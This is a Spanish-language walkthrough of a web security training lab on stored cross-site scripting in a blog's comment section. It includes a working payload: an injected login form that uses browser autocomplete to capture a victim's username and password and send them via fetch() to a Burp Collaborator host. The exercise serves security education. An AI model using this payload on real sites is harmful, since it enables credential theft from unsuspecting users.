XSS Lab 23
Skills
Descripción
Este laboratorio
contiene una vulnerabilidad
de stored XSS
en la función de comentarios del blog
. Un usuario víctima
simulado ve todos los comentarios
después de que se publiquen. Para resolver
el laboratorio, debemos explotar
la vulnerabilidad
para exfiltrar
el nombre de usuario
y la contraseña
de la víctima, luego usar estas credenciales
para iniciar sesión
en la cuenta de la víctima
Resolución
Al acceder
a la web
nos sale esto
Si pulsamos sobre View post
vemos que tenemos una sección
en la que podemos hacer comentarios
Al hacer un comentario
nos mete el input
en unas etiquetas <p></p>
Sin embargo, si intentamos inyectar
algo entre etiquetas <h1></h1>
vemos que nos inyecta
las etiquetas
con su contenido
y deja las <p></p>
vacías
Si nos abrimos
el inspector
de Chrome
y le echamos un vistazo a las cookies
vemos que tienen las flags (HttpOnly y Secure)
. HttpOnly
nos impide acceder a la cookie a través de JavaScript
y Secure nos obliga a que la cookie solo se transmita a través de conexiones seguras HTTPS
Debido a que podemos inyectar código HTML
podemos crear
un formulario
y aprovechar
el autocompletado
del navegador
para obtener
las credenciales
. En esta web https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/autocomplete nos detalla
como podemos usar el atributo autocomplete
y los requerimientos necesarios
para que se ejecute correctamente
. El atributo autocomplete
a parte de on
y off
tiene varios valores interesante los cuales se pueden ver accediendo a la web mencionada anteriormente, entre estos valores están username
, nickname
, new-password
, current-password
y email
entre otros. He creado este formulario
se aprovecha del autocompletado
del navegador
para obtener
las credenciales
del usuario administrador
1
2
3
4
5
6
7
8
9
10
11
12
13
<form action="#" method="post">
<input type="text" id="loginUsername" name="username" autocomplete="on" placeholder="Introduce tu nombre de usuario" required>
<input type="password" id="loginPassword" name="password" autocomplete="on" placeholder="Introduce tu contraseña" required onchange="
if(this.value.length) {
fetch('https://7t1e3i5rp0jhqj79js8c833qchi8aw0kp.oastify.com', {
method: 'POST',
mode: 'no-cors',
body: loginUsername.value + ':' + this.value
});
}
">
<button type="submit">Enviar</button>
</form>
Una vez publicado
este comentario
nos vamos a Burpsuite Collaborator
y obtenemos
el nombre
de usuario
y la contraseña
de los usuarios
Pulsamos sobre My account
y nos logueamos
con las credenciales